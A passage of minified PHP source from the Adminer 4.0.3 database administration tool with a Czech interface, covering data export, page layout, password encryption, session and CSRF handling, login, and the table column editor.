processInput($n,$Y,$q=""){if($q=="SQL")return$Y;$C=$n["field"];$J=q($Y);if(preg_match('~^(now|getdate|uuid)$~',$q))$J="$q()";elseif(preg_match('~^current_(date|timestamp)$~',$q))$J=$q;elseif(preg_match('~^([+-]|\\|\\|)$~',$q))$J=idf_escape($C)." $q $J";elseif(preg_match('~^[+-] interval$~',$q))$J=idf_escape($C)." $q ".(preg_match("~^(\\d+|'[0-9.: -]') [A-Z_]+$~i",$Y)?$Y:$J);elseif(preg_match('~^(addtime|subtime|concat)$~',$q))$J="$q(".idf_escape($C).", $J)";elseif(preg_match('~^(md5|sha1|password|encrypt)$~',$q))$J="$q($J)";return
unconvert_field($n,$J);}function
dumpOutput(){$J=array('text'=>'otevřít','file'=>'uložit');if(function_exists('gzencode'))$J['gz']='gzip';return$J;}function
dumpFormat(){return
array('sql'=>'SQL','csv'=>'CSV,','csv;'=>'CSV;','tsv'=>'TSV');}function
dumpDatabase($k){}function
dumpTable($Q,$Ag,$xd=0){if($_POST["format"]!="sql"){echo"\xef\xbb\xbf";if($Ag)dump_csv(array_keys(fields($Q)));}elseif($Ag){if($xd==2){$o=array();foreach(fields($Q)as$C=>$n)$o[]=idf_escape($C)." $n[full_type]";$xb="CREATE TABLE ".table($Q)." (".implode(", ",$o).")";}else$xb=create_sql($Q,$_POST["auto_increment"]);if($xb){if($Ag=="DROP+CREATE"||$xd==1)echo"DROP ".($xd==2?"VIEW":"TABLE")." IF EXISTS ".table($Q).";\n";if($xd==1)$xb=remove_definer($xb);echo"$xb;\n\n";}}}function
dumpData($Q,$Ag,$H){global$g,$w;$Yd=($w=="sqlite"?0:1048576);if($Ag){if($_POST["format"]=="sql"){if($Ag=="TRUNCATE+INSERT")echo
truncate_sql($Q).";\n";$o=fields($Q);}$I=$g->query($H,1);if($I){$sd="";$Va="";$Dd=array();$Cg="";$Cc=($Q!=''?'fetch_assoc':'fetch_row');while($K=$I->$Cc()){if(!$Dd){$Hh=array();foreach($K
as$X){$n=$I->fetch_field();$Dd[]=$n->name;$x=idf_escape($n->name);$Hh[]="$x = VALUES($x)";}$Cg=($Ag=="INSERT+UPDATE"?"\nON DUPLICATE KEY UPDATE ".implode(", ",$Hh):"").";\n";}if($_POST["format"]!="sql"){if($Ag=="table"){dump_csv($Dd);$Ag="INSERT";}dump_csv($K);}else{if(!$sd)$sd="INSERT INTO ".table($Q)." (".implode(", ",array_map('idf_escape',$Dd)).") VALUES";foreach($K
as$x=>$X){$n=$o[$x];$K[$x]=($X!==null?unconvert_field($n,preg_match('~(^|[^o])int|float|double|decimal~',$n["type"])&&$X!=''?$X:q($X)):"NULL");}$bg=($Yd?"\n":" ")."(".implode(",\t",$K).")";if(!$Va)$Va=$sd.$bg;elseif(strlen($Va)+4+strlen($bg)+strlen($Cg)<$Yd)$Va.=",$bg";else{echo$Va.$Cg;$Va=$sd.$bg;}}}if($Va)echo$Va.$Cg;}elseif($_POST["format"]=="sql")echo"-- ".str_replace("\n"," ",$g->error)."\n";}}function
dumpFilename($gd){return
friendly_url($gd!=""?$gd:(SERVER!=""?SERVER:"localhost"));}function
dumpHeaders($gd,$ne=false){$We=$_POST["output"];$xc=(preg_match('~sql~',$_POST["format"])?"sql":($ne?"tar":"csv"));header("Content-Type: ".($We=="gz"?"application/x-gzip":($xc=="tar"?"application/x-tar":($xc=="sql"||$We!="file"?"text/plain":"text/csv")."; charset=utf-8")));if($We=="gz")ob_start('gzencode',1e6);return$xc;}function
homepage(){echo'<p class="links">'.($_GET["ns"]==""&&support("database")?'<a href="'.h(ME).'database=">'.'Pozměnit databázi'."</a>\n":""),(support("scheme")?"<a href='".h(ME)."scheme='>".($_GET["ns"]!=""?'Pozměnit schéma':'Vytvořit schéma')."</a>\n":""),($_GET["ns"]!==""?'<a href="'.h(ME).'schema=">'.'Schéma databáze'."</a>\n":""),(support("privileges")?"<a href='".h(ME)."privileges='>".'Oprávnění'."</a>\n":"");return
true;}function
navigation($me){global$ia,$w,$Sb,$g;echo'<h1>
',$this->name(),' <span class="version">',$ia,'</span>
<a href="http://www.adminer.org/#download" target="_blank" id="version">',(version_compare($ia,$_COOKIE["adminer_version"])<0?h($_COOKIE["adminer_version"]):""),'</a>
</h1>
';if($me=="auth"){$Gc=true;foreach((array)$_SESSION["pwds"]as$Jh=>$ng){foreach($ng
as$N=>$Eh){foreach($Eh
as$V=>$G){if($G!==null){if($Gc){echo"<p id='logins' onmouseover='menuOver(this, event);' onmouseout='menuOut(this);'>\n";$Gc=false;}$Fb=$_SESSION["db"][$Jh][$N][$V];foreach(($Fb?array_keys($Fb):array(""))as$k)echo"<a href='".h(auth_url($Jh,$N,$V,$k))."'>($Sb[$Jh]) ".h($V.($N!=""?"@$N":"").($k!=""?" - $k":""))."</a><br>\n";}}}}}else{if($_GET["ns"]!==""&&!$me&&DB!=""){$g->select_db(DB);$S=table_status('',true);}if(support("sql")){echo'<script type="text/javascript" src="',h(preg_replace("~\\?.*~","",ME))."?file=jush.js&version=4.0.3",'"></script>
<script type="text/javascript">
';if($S){$Rd=array();foreach($S
as$Q=>$U)$Rd[]=preg_quote($Q,'/');echo"var jushLinks = { $w: [ '".js_escape(ME).(support("table")?"table=":"select=")."\$&', /\\b(".implode("|",$Rd).")\\b/g ] };\n";foreach(array("bac","bra","sqlite_quo","mssql_bra")as$X)echo"jushLinks.$X = jushLinks.$w;\n";}echo'bodyLoad(\'',(is_object($g)?substr($g->server_info,0,3):""),'\');
</script>
';}$this->databasesPrint($me);if(DB==""||!$me){echo"<p class='links'>".(support("sql")?"<a href='".h(ME)."sql='".bold(isset($_GET["sql"])&&!isset($_GET["import"])).">".'SQL příkaz'."</a>\n<a href='".h(ME)."import='".bold(isset($_GET["import"])).">".'Import'."</a>\n":"")."";if(support("dump"))echo"<a href='".h(ME)."dump=".urlencode(isset($_GET["table"])?$_GET["table"]:$_GET["select"])."' id='dump'".bold(isset($_GET["dump"])).">".'Export'."</a>\n";}if($_GET["ns"]!==""&&!$me&&DB!=""){echo'<a href="'.h(ME).'create="'.bold($_GET["create"]==="").">".'Vytvořit tabulku'."</a>\n";if(!$S)echo"<p class='message'>".'Žádné tabulky.'."\n";else$this->tablesPrint($S);}}}function
databasesPrint($me){global$b,$g;$j=$this->databases();echo'<form action="">
<p id="dbs">
';hidden_fields_get();$Db=" onmousedown='dbMouseDown(event, this);' onchange='dbChange(this);'";echo"<span title='".'databáze'."'>DB</span>: ".($j?"<select name='db'$Db>".optionlist(array(""=>"")+$j,DB)."</select>":'<input name="db" value="'.h(DB).'" autocapitalize="off">'),"<input type='submit' value='".'Vybrat'."'".($j?" class='hidden'":"").">\n";if($me!="db"&&DB!=""&&$g->select_db(DB)){if(support("scheme")){echo"<br><select name='ns'$Db>".optionlist(array(""=>"(".'schéma'.")")+$b->schemas(),$_GET["ns"])."</select>";if($_GET["ns"]!="")set_schema($_GET["ns"]);}}echo(isset($_GET["sql"])?'<input type="hidden" name="sql" value="">':(isset($_GET["schema"])?'<input type="hidden" name="schema" value="">':(isset($_GET["dump"])?'<input type="hidden" name="dump" value="">':(isset($_GET["privileges"])?'<input type="hidden" name="privileges" value="">':"")))),"</p></form>\n";}function
tablesPrint($S){echo"<p id='tables' onmouseover='menuOver(this, event);' onmouseout='menuOut(this);'>\n";foreach($S
as$Q=>$xg){echo'<a href="'.h(ME).'select='.urlencode($Q).'"'.bold($_GET["select"]==$Q||$_GET["edit"]==$Q).">".'vypsat'."</a> ";$C=$this->tableName($xg);echo(support("table")||support("indexes")?'<a href="'.h(ME).'table='.urlencode($Q).'"'.bold(in_array($Q,array($_GET["table"],$_GET["create"],$_GET["indexes"],$_GET["foreign"],$_GET["trigger"])),(is_view($xg)?"view":""))." title='".'Zobrazit strukturu'."'>$C</a>":"<span>$C</span>")."<br>\n";}}}$b=(function_exists('adminer_object')?adminer_object():new
Adminer);if($b->operators===null)$b->operators=$He;function
page_header($Zg,$m="",$Ua=array(),$ah=""){global$ca,$ia,$b,$Sb,$w;page_headers();$bh=$Zg.($ah!=""?": $ah":"");$ch=strip_tags($bh.(SERVER!=""&&SERVER!="localhost"?h(" - ".SERVER):"")." - ".$b->name());echo'<!DOCTYPE html>
<html lang="cs" dir="ltr">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta http-equiv="Content-Script-Type" content="text/javascript">
<meta name="robots" content="noindex">
<title>',$ch,'</title>
<link rel="stylesheet" type="text/css" href="',h(preg_replace("~\\?.*~","",ME))."?file=default.css&version=4.0.3",'">
<script type="text/javascript" src="',h(preg_replace("~\\?.*~","",ME))."?file=functions.js&version=4.0.3",'"></script>
';if($b->head()){echo'<link rel="shortcut icon" type="image/x-icon" href="',h(preg_replace("~\\?.*~","",ME))."?file=favicon.ico&version=4.0.3",'">
<link rel="apple-touch-icon" href="',h(preg_replace("~\\?.*~","",ME))."?file=favicon.ico&version=4.0.3",'">
';if(file_exists("adminer.css")){echo'<link rel="stylesheet" type="text/css" href="adminer.css">
';}}echo'
<body class="ltr nojs" onkeydown="bodyKeydown(event);" onclick="bodyClick(event);"',(isset($_COOKIE["adminer_version"])?"":" onload=\"verifyVersion('$ia');\""),'>
<script type="text/javascript">
document.body.className = document.body.className.replace(/ nojs/, \' js\');
</script>
<div id="help" class="jush-',$w,' jsonly hidden" onmouseover="helpOpen = 1;" onmouseout="helpMouseout(this, event);"></div>
<div id="content">
';if($Ua!==null){$_=substr(preg_replace('~\b(username|db|ns)=[^&]*&~','',ME),0,-1);echo'<p id="breadcrumb"><a href="'.h($_?$_:".").'">'.$Sb[DRIVER].'</a> » ';$_=substr(preg_replace('~\b(db|ns)=[^&]*&~','',ME),0,-1);$N=(SERVER!=""?h(SERVER):'Server');if($Ua===false)echo"$N\n";else{echo"<a href='".($_?h($_):".")."' accesskey='1' title='Alt+Shift+1'>$N</a> » ";if($_GET["ns"]!=""||(DB!=""&&is_array($Ua)))echo'<a href="'.h($_."&db=".urlencode(DB).(support("scheme")?"&ns=":"")).'">'.h(DB).'</a> » ';if(is_array($Ua)){if($_GET["ns"]!="")echo'<a href="'.h(substr(ME,0,-1)).'">'.h($_GET["ns"]).'</a> » ';foreach($Ua
as$x=>$X){$Kb=(is_array($X)?$X[1]:h($X));if($Kb!="")echo"<a href='".h(ME."$x=").urlencode(is_array($X)?$X[0]:$X)."'>$Kb</a> » ";}}echo"$Zg\n";}}echo"<h2>$bh</h2>\n";restart_session();page_messages($m);$j=&get_session("dbs");if(DB!=""&&$j&&!in_array(DB,$j,true))$j=null;stop_session();define("PAGE_HEADER",1);}function
page_headers(){global$b;header("Content-Type: text/html; charset=utf-8");header("Cache-Control: no-cache");if($b->headers()){header("X-Frame-Options: deny");header("X-XSS-Protection: 0");}}function
page_messages($m){$_h=preg_replace('~^[^?]*~','',$_SERVER["REQUEST_URI"]);$ie=$_SESSION["messages"][$_h];if($ie){echo"<div class='message'>".implode("</div>\n<div class='message'>",$ie)."</div>\n";unset($_SESSION["messages"][$_h]);}if($m)echo"<div class='error'>$m</div>\n";}function
page_footer($me=""){global$b,$T;echo'</div>
';if($me!="auth"){echo'<form action="" method="post">
<p class="logout">
<input type="submit" name="logout" value="Odhlásit" id="logout">
<input type="hidden" name="token" value="',$T,'">
</p>
</form>
';}echo'<div id="menu">
';$b->navigation($me);echo'</div>
<script type="text/javascript">setupSubmitHighlight(document);</script>
';}function
int32($pe){while($pe>=2147483648)$pe-=4294967296;while($pe<=-2147483649)$pe+=4294967296;return(int)$pe;}function
long2str($W,$Oh){$bg='';foreach($W
as$X)$bg.=pack('V',$X);if($Oh)return
substr($bg,0,end($W));return$bg;}function
str2long($bg,$Oh){$W=array_values(unpack('V*',str_pad($bg,4*ceil(strlen($bg)/4),"\0")));if($Oh)$W[]=strlen($bg);return$W;}function
xxtea_mx($Uh,$Th,$Dg,$_d){return
int32((($Uh>>5&0x7FFFFFF)^$Th<<2)+(($Th>>3&0x1FFFFFFF)^$Uh<<4))^int32(($Dg^$Th)+($_d^$Uh));}function
encrypt_string($zg,$x){if($zg=="")return"";$x=array_values(unpack("V*",pack("H*",md5($x))));$W=str2long($zg,true);$pe=count($W)-1;$Uh=$W[$pe];$Th=$W[0];$Af=floor(6+52/($pe+1));$Dg=0;while($Af-->0){$Dg=int32($Dg+0x9E3779B9);$Zb=$Dg>>2&3;for($Xe=0;$Xe<$pe;$Xe++){$Th=$W[$Xe+1];$oe=xxtea_mx($Uh,$Th,$Dg,$x[$Xe&3^$Zb]);$Uh=int32($W[$Xe]+$oe);$W[$Xe]=$Uh;}$Th=$W[0];$oe=xxtea_mx($Uh,$Th,$Dg,$x[$Xe&3^$Zb]);$Uh=int32($W[$pe]+$oe);$W[$pe]=$Uh;}return
long2str($W,false);}function
decrypt_string($zg,$x){if($zg=="")return"";if(!$x)return
false;$x=array_values(unpack("V*",pack("H*",md5($x))));$W=str2long($zg,false);$pe=count($W)-1;$Uh=$W[$pe];$Th=$W[0];$Af=floor(6+52/($pe+1));$Dg=int32($Af*0x9E3779B9);while($Dg){$Zb=$Dg>>2&3;for($Xe=$pe;$Xe>0;$Xe--){$Uh=$W[$Xe-1];$oe=xxtea_mx($Uh,$Th,$Dg,$x[$Xe&3^$Zb]);$Th=int32($W[$Xe]-$oe);$W[$Xe]=$Th;}$Uh=$W[$pe];$oe=xxtea_mx($Uh,$Th,$Dg,$x[$Xe&3^$Zb]);$Th=int32($W[0]-$oe);$W[0]=$Th;$Dg=int32($Dg-0x9E3779B9);}return
long2str($W,true);}$g='';$ad=$_SESSION["token"];if(!$ad)$_SESSION["token"]=rand(1,1e6);$T=get_token();$jf=array();if($_COOKIE["adminer_permanent"]){foreach(explode(" ",$_COOKIE["adminer_permanent"])as$X){list($x)=explode(":",$X);$jf[$x]=$X;}}$Ia=$_POST["auth"];if($Ia){session_regenerate_id();$l=$Ia["driver"];$N=$Ia["server"];$V=$Ia["username"];$G=$Ia["password"];$k=$Ia["db"];set_password($l,$N,$V,$G);$_SESSION["db"][$l][$N][$V][$k]=true;if($Ia["permanent"]){$x=base64_encode($l)."-".base64_encode($N)."-".base64_encode($V)."-".base64_encode($k);$vf=$b->permanentLogin(true);$jf[$x]="$x:".base64_encode($vf?encrypt_string($G,$vf):"");cookie("adminer_permanent",implode(" ",$jf));}if(count($_POST)==1||DRIVER!=$l||SERVER!=$N||$_GET["username"]!==$V||DB!=$k)redirect(auth_url($l,$N,$V,$k));}elseif($_POST["logout"]){if($ad&&!verify_token()){page_header('Odhlásit','Neplatný token CSRF. Odešlete formulář znovu.');page_footer("db");exit;}else{foreach(array("pwds","db","dbs","queries")as$x)set_session($x,null);unset_permanent();redirect(substr(preg_replace('~\b(username|db|ns)=[^&]*&~','',ME),0,-1),'Odhlášení proběhlo v pořádku.');}}elseif($jf&&!$_SESSION["pwds"]){session_regenerate_id();$vf=$b->permanentLogin();foreach($jf
as$x=>$X){list(,$cb)=explode(":",$X);list($Jh,$N,$V,$k)=array_map('base64_decode',explode("-",$x));set_password($Jh,$N,$V,decrypt_string(base64_decode($cb),$vf));$_SESSION["db"][$Jh][$N][$V][$k]=true;}}function
unset_permanent(){global$jf;foreach($jf
as$x=>$X){list($Jh,$N,$V,$k)=array_map('base64_decode',explode("-",$x));if($Jh==DRIVER&&$N==SERVER&&$V==$_GET["username"]&&$k==DB)unset($jf[$x]);}cookie("adminer_permanent",implode(" ",$jf));}function
auth_error($rc=null){global$g,$b,$ad;$og=session_name();$m="";if(!$_COOKIE[$og]&&$_GET[$og]&&ini_bool("session.use_only_cookies"))$m='Session proměnné musí být povolené.';elseif(isset($_GET["username"])){if(($_COOKIE[$og]||$_GET[$og])&&!$ad)$m='Session vypršela, přihlašte se prosím znovu.';else{$G=get_password();if($G!==null){$m=h($rc?$rc->getMessage():(is_string($g)?$g:'Neplatné přihlašovací údaje.'));if($G===false)$m.='<br>'.sprintf('Platnost hlavního hesla vypršela. <a href="http://www.adminer.org/cs/extension/" target="_blank">Implementujte</a> metodu %s, aby platilo stále.','<code>permanentLogin()</code>');set_password(DRIVER,SERVER,$_GET["username"],null);}unset_permanent();}}$F=session_get_cookie_params();cookie("adminer_key",($_COOKIE["adminer_key"]?$_COOKIE["adminer_key"]:rand_string()),$F["lifetime"]);page_header('Přihlásit se',$m,null);echo"<form action='' method='post'>\n";$b->loginForm();echo"<div>";hidden_fields($_POST,array("auth"));echo"</div>\n","</form>\n";page_footer("auth");}function
set_password($Jh,$N,$V,$G){$_SESSION["pwds"][$Jh][$N][$V]=($_COOKIE["adminer_key"]&&is_string($G)?array(encrypt_string($G,$_COOKIE["adminer_key"])):$G);}function
get_password(){$J=get_session("pwds");if(is_array($J))$J=($_COOKIE["adminer_key"]?decrypt_string($J[0],$_COOKIE["adminer_key"]):false);return$J;}if(isset($_GET["username"])){if(!class_exists("Min_DB")){unset($_SESSION["pwds"][DRIVER]);unset_permanent();page_header('Žádné rozšíření',sprintf('Není dostupné žádné z podporovaných PHP rozšíření (%s).',implode(", ",$pf)),false);page_footer("auth");exit;}$g=connect();}if(!is_object($g)||!$b->login($_GET["username"],get_password())){auth_error();exit;}$l=new
Min_Driver($g);if($Ia&&$_POST["token"])$_POST["token"]=$T;$m='';if($_POST){if(!verify_token()){$pd="max_input_vars";$ce=ini_get($pd);if(extension_loaded("suhosin")){foreach(array("suhosin.request.max_vars","suhosin.post.max_vars")as$x){$X=ini_get($x);if($X&&(!$ce||$X<$ce)){$pd=$x;$ce=$X;}}}$m=(!$_POST["token"]&&$ce?sprintf('Byl překročen maximální povolený počet polí. Zvyšte prosím %s.',"'$pd'"):'Neplatný token CSRF. Odešlete formulář znovu.');}}elseif($_SERVER["REQUEST_METHOD"]=="POST"){$m=sprintf('Příliš velká POST data. Zmenšete data nebo zvyšte hodnotu konfigurační direktivy %s.',"'post_max_size'");if(isset($_GET["sql"]))$m.=' '.'Velký SQL soubor můžete nahrát pomocí FTP a importovat ho ze serveru.';}if(!ini_bool("session.use_cookies")||@ini_set("session.use_cookies",false)!==false)session_write_close();function
connect_error(){global$b,$g,$T,$m,$Sb;$j=array();if(DB!=""){header("HTTP/1.1 404 Not Found");page_header('Databáze'.": ".h(DB),'Nesprávná databáze.',true);}else{if($_POST["db"]&&!$m)queries_redirect(substr(ME,0,-1),'Databáze byly odstraněny.',drop_databases($_POST["db"]));page_header('Vybrat databázi',$m,false);echo"<p class='links'>\n";foreach(array('database'=>'Vytvořit novou databázi','privileges'=>'Oprávnění','processlist'=>'Seznam procesů','variables'=>'Proměnné','status'=>'Stav',)as$x=>$X){if(support($x))echo"<a href='".h(ME)."$x='>$X</a>\n";}echo"<p>".sprintf('Verze %s: %s přes PHP rozšíření %s',$Sb[DRIVER],"<b>$g->server_info</b>","<b>$g->extension</b>")."\n","<p>".sprintf('Přihlášen jako: %s',"<b>".h(logged_user())."</b>")."\n";$j=$b->databases();if($j){$eg=support("scheme");$ib=collations();echo"<form action='' method='post'>\n","<table cellspacing='0' class='checkable' onclick='tableClick(event);' ondblclick='tableClick(event, true);'>\n","<thead><tr>".(support("database")?"<td> ":"")."<th>".'Databáze'."<td>".'Porovnávání'."<td>".'Tabulky'."</thead>\n";foreach($j
as$k){$Wf=h(ME)."db=".urlencode($k);echo"<tr".odd().">".(support("database")?"<td>".checkbox("db[]",$k,in_array($k,(array)$_POST["db"])):""),"<th><a href='$Wf'>".h($k)."</a>";$d=nbsp(db_collation($k,$ib));echo"<td>".(support("database")?"<a href='$Wf".($eg?"&ns=":"")."&database=' title='".'Pozměnit databázi'."'>$d</a>":$d),"<td align='right'><a href='$Wf&schema=' id='tables-".h($k)."' title='".'Schéma databáze'."'>?</a>","\n";}echo"</table>\n",(support("database")?"<fieldset><legend>".'Označené'." <span id='selected'></span></legend><div>\n"."<input type='hidden' name='all' value='' onclick=\"selectCount('selected', formChecked(this, /^db/));\">\n"."<input type='submit' name='drop' value='".'Odstranit'."'".confirm().">\n"."</div></fieldset>\n":""),"<script type='text/javascript'>tableCheck();</script>\n","<input type='hidden' name='token' value='$T'>\n","</form>\n";}echo"<p><a href='".h(ME)."refresh=1'>".'Obnovit'."</a>\n";}page_footer("db");if($j)echo"<script type='text/javascript'>ajaxSetHtml('".js_escape(ME)."script=connect');</script>\n";}if(isset($_GET["status"]))$_GET["variables"]=$_GET["status"];if(isset($_GET["import"]))$_GET["sql"]=$_GET["import"];if(!(DB!=""?$g->select_db(DB):isset($_GET["sql"])||isset($_GET["dump"])||isset($_GET["database"])||isset($_GET["processlist"])||isset($_GET["privileges"])||isset($_GET["user"])||isset($_GET["variables"])||$_GET["script"]=="connect"||$_GET["script"]=="kill")){if(DB!=""||$_GET["refresh"]){restart_session();set_session("dbs",null);}connect_error();exit;}if(support("scheme")&&DB!=""&&$_GET["ns"]!==""){if(!isset($_GET["ns"]))redirect(preg_replace('~ns=[^&]*&~','',ME)."ns=".get_schema());if(!set_schema($_GET["ns"])){header("HTTP/1.1 404 Not Found");page_header('Schéma'.": ".h($_GET["ns"]),'Nesprávné schéma.',true);page_footer("ns");exit;}}function
select($I,$h=null,$Pe=array()){global$w;$Rd=array();$v=array();$f=array();$Ra=array();$rh=array();$J=array();odd('');for($r=0;$K=$I->fetch_row();$r++){if(!$r){echo"<table cellspacing='0' class='nowrap'>\n","<thead><tr>";for($zd=0;$zd<count($K);$zd++){$n=$I->fetch_field();$C=$n->name;$Oe=$n->orgtable;$Ne=$n->orgname;$J[$n->table]=$Oe;if($Pe&&$w=="sql")$Rd[$zd]=($C=="table"?"table=":($C=="possible_keys"?"indexes=":null));elseif($Oe!=""){if(!isset($v[$Oe])){$v[$Oe]=array();foreach(indexes($Oe,$h)as$u){if($u["type"]=="PRIMARY"){$v[$Oe]=array_flip($u["columns"]);break;}}$f[$Oe]=$v[$Oe];}if(isset($f[$Oe][$Ne])){unset($f[$Oe][$Ne]);$v[$Oe][$Ne]=$zd;$Rd[$zd]=$Oe;}}if($n->charsetnr==63)$Ra[$zd]=true;$rh[$zd]=$n->type;echo"<th".($Oe!=""||$n->name!=$Ne?" title='".h(($Oe!=""?"$Oe.":"").$Ne)."'":"").">".h($C).($Pe?doc_link(array('sql'=>"explain-output.html#explain_".strtolower($C))):"");}echo"</thead>\n";}echo"<tr".odd().">";foreach($K
as$x=>$X){if($X===null)$X="<i>NULL</i>";elseif($Ra[$x]&&!is_utf8($X))$X="<i>".lang(array('%d bajt','%d bajty','%d bajtů'),strlen($X))."</i>";elseif(!strlen($X))$X=" ";else{$X=h($X);if($rh[$x]==254)$X="<code>$X</code>";}if(isset($Rd[$x])&&!$f[$Rd[$x]]){if($Pe&&$w=="sql"){$Q=$K[array_search("table=",$Rd)];$_=$Rd[$x].urlencode($Pe[$Q]!=""?$Pe[$Q]:$Q);}else{$_="edit=".urlencode($Rd[$x]);foreach($v[$Rd[$x]]as$gb=>$zd)$_.="&where".urlencode("[".bracket_escape($gb)."]")."=".urlencode($K[$zd]);}$X="<a href='".h(ME.$_)."'>$X</a>";}echo"<td>$X";}}echo($r?"</table>":"<p class='message'>".'Žádné řádky.')."\n";return$J;}function
referencable_primary($jg){$J=array();foreach(table_status('',true)as$Hg=>$Q){if($Hg!=$jg&&fk_support($Q)){foreach(fields($Hg)as$n){if($n["primary"]){if($J[$Hg]){unset($J[$Hg]);break;}$J[$Hg]=$n;}}}}return$J;}function
textarea($C,$Y,$L=10,$jb=80){global$w;echo"<textarea name='$C' rows='$L' cols='$jb' class='sqlarea jush-$w' spellcheck='false' wrap='off'>";if(is_array($Y)){foreach($Y
as$X)echo
h($X[0])."\n\n\n";}else
echo
h($Y);echo"</textarea>";}function
edit_type($x,$n,$ib,$Kc=array()){global$_g,$rh,$yh,$De;$U=$n["type"];echo'<td><select name="',$x,'[type]" class="type" onfocus="lastType = selectValue(this);" onchange="editingTypeChange(this);"',on_help("getTarget(event).value",1),'>';if($U&&!isset($rh[$U])&&!isset($Kc[$U]))array_unshift($_g,$U);if($Kc)$_g['Cizí klíče']=$Kc;echo
optionlist($_g,$U),'</select>
<td><input name="',$x,'[length]" value="',h($n["length"]),'" size="3" onfocus="editingLengthFocus(this);"',(!$n["length"]&&preg_match('~var(char|binary)$~',$U)?" class='required'":""),' onchange="editingLengthChange(this);" onkeyup="this.onchange();"><td class="options">';echo"<select name='$x"."[collation]'".(preg_match('~(char|text|enum|set)$~',$U)?"":" class='hidden'").'><option value="">('.'porovnávání'.')'.optionlist($ib,$n["collation"]).'</select>',($yh?"<select name='$x"."[unsigned]'".(!$U||preg_match('~((^|[^o])int|float|double|decimal)$~',$U)?"":" class='hidden'").'><option>'.optionlist($yh,$n["unsigned"]).'</select>':''),(isset($n['on_update'])?"<select name='$x"."[on_update]'".($U=="timestamp"?"":" class='hidden'").'>'.optionlist(array(""=>"(".'Při změně'.")","CURRENT_TIMESTAMP"),$n["on_update"]).'</select>':''),($Kc?"<select name='$x"."[on_delete]'".(preg_match("~`~",$U)?"":" class='hidden'")."><option value=''>(".'Při smazání'.")".optionlist(explode("|",$De),$n["on_delete"])."</select> ":" ");}function
process_length($y){global$kc;return(preg_match("~^\\s*\\(?\\s*$kc(?:\\s*,\\s*$kc)*+\\s*\\)?\\s*\$~",$y)&&preg_match_all("~$kc~",$y,$Wd)?"(".implode(",",$Wd[0]).")":preg_replace('~^[0-9].*~','(\0)',preg_replace('~[^-0-9,+()[\]]~','',$y)));}function
process_type($n,$hb="COLLATE"){global$yh;return" $n[type]".process_length($n["length"]).(preg_match('~(^|[^o])int|float|double|decimal~',$n["type"])&&in_array($n["unsigned"],$yh)?" $n[unsigned]":"").(preg_match('~char|text|enum|set~',$n["type"])&&$n["collation"]?" $hb ".q($n["collation"]):"");}function
process_field($n,$ph){global$w;$Hb=$n["default"];return
array(idf_escape(trim($n["field"])),process_type($ph),($n["null"]?" NULL":" NOT NULL"),(isset($Hb)?" DEFAULT ".((preg_match('~time~',$n["type"])&&preg_match('~^CURRENT_TIMESTAMP$~i',$Hb))||($n["type"]=="bit"&&preg_match("~^([0-9]+|b'[0-1]+')\$~",$Hb))||($w=="pgsql"&&preg_match("~^[a-z]+\\(('[^']*')+\\)\$~",$Hb))?$Hb:q($Hb)):""),($n["type"]=="timestamp"&&$n["on_update"]?" ON UPDATE $n[on_update]":""),(support("comment")&&$n["comment"]!=""?" COMMENT ".q($n["comment"]):""),($n["auto_increment"]?auto_increment():null),);}function
type_class($U){foreach(array('char'=>'text','date'=>'time|year','binary'=>'blob','enum'=>'set',)as$x=>$X){if(preg_match("~$x|$X~",$U))return" class='$x'";}}function
edit_fields($o,$ib,$U="TABLE",$Kc=array(),$nb=false){global$g,$qd;echo'<thead><tr class="wrap">
';if($U=="PROCEDURE"){echo'<td> ';}echo'<th>',($U=="TABLE"?'Název sloupce':'Název parametru'),'<td>Typ<textarea id="enum-edit" rows="4" cols="12" wrap="off" style="display: none;" onblur="editingLengthBlur(this);"></textarea>
<td>Délka
<td>Volby
';if($U=="TABLE"){echo'<td>NULL
<td><input type="radio" name="auto_increment_col" value=""><acronym title="Auto Increment">AI</acronym>',doc_link(array('sql'=>"example-auto-increment.html",'sqlite'=>"autoinc.html",'pgsql'=>"datatype.html#DATATYPE-SERIAL",'mssql'=>"ms186775.aspx",)),'<td>Výchozí hodnoty
',(support("comment")?"<td".($nb?"":" class='hidden'").">".'Komentář':"");}echo'<td>',"<input type='image' class='icon' name='add[".(support("move_col")?0:count($o))."]' src='".h(preg_replace("~\\?.*~","",ME))."?file=plus.gif&version=4.0.3' alt='+' title='".'Přidat další'."'>",'<script type="text/javascript">row_count = ',count($o),';</script>
</thead>
<tbody onkeydown="return editingKeydown(event);">
';foreach($o
as$r=>$n){$r++;$Qe=$n[($_POST?"orig":"field")];$Pb=(isset($_POST["add"][$r-1])||(isset($n["field"])&&!$_POST["drop_col"][$r]))&&(support("drop_col")||$Qe=="");echo'<tr',($Pb?"":" style='display: none;'"),'>
',($U=="PROCEDURE"?"<td>".html_select("fields[$r][inout]",explode("|",$qd),$n["inout"]):""),'<th>';if($Pb){echo'<input name="fields[',$r,'][field]" value="',h($n["field"]),'" onchange="editingNameChange(this);',($n["field"]!=""||count($o)>1?'':' editingAddRow(this);" onkeyup="if (this.value) editingAddRow(this);'),'" maxlength="64" autocapitalize="off">';}echo'<input type="hidden" name="fields[',$r,'][orig]" value="',h($Qe),'">
';edit_type("fields[$r]",$n,$ib,$Kc);if($U=="TABLE"){echo'<td>',checkbox("fields[$r][null]",1,$n["null"],"","","block"),'<td><label class="block"><input type="radio" name="auto_increment_col" value="',$r,'"';if($n["auto_increment"]){echo' checked';}?> onclick="var field = this.form['fields[' + this.value + '][field]']; if (!field.value) { field.value = 'id'; field.onchange(); }"></label><td><?php
echo
checkbox("fields[$r][has_default]",1,$n["has_default"]),'<input name="fields[',$r,'][default]" value="',h($n["default"]),'" onkeyup="keyupChange.call(this);" onchange="this.previousSibling.checked = true;">
',(support("comment")?"<td".($nb?"":" class='hidden'")."><input name='fields[$r][comment]' value='".h($n["comment"])."' maxlength='".($g->server_info>=5.5?1024:255)."'>":"");}echo"<td>",(support("move_col")?"<input type='image' class='icon' name='add[$r]' src='".h(preg_replace("~\\?.*~","",ME))."?file=plus.gif&version=4.0.3' alt='+' title='".'Přidat další'."' onclick='return !editingAddRow(this, 1);'> "."<input type='image' class='icon' name='up[$r]' src='".h(preg_replace("~\\?.*~","",ME))."?file=up.gif&version=4.0.3' alt='^' title='".'Přesunout nahoru'."'> "."<input type='image' class='icon' name='down[$r]' src='".h(preg_replace("~\\?.*~","",ME))."?file=down.gif&version=4.0.3' alt='v' title='".'Přesunout dolů'."'> ":""),($Qe==""||support("drop_col")?"<input type='image' class='icon' name='drop_col[$r]' 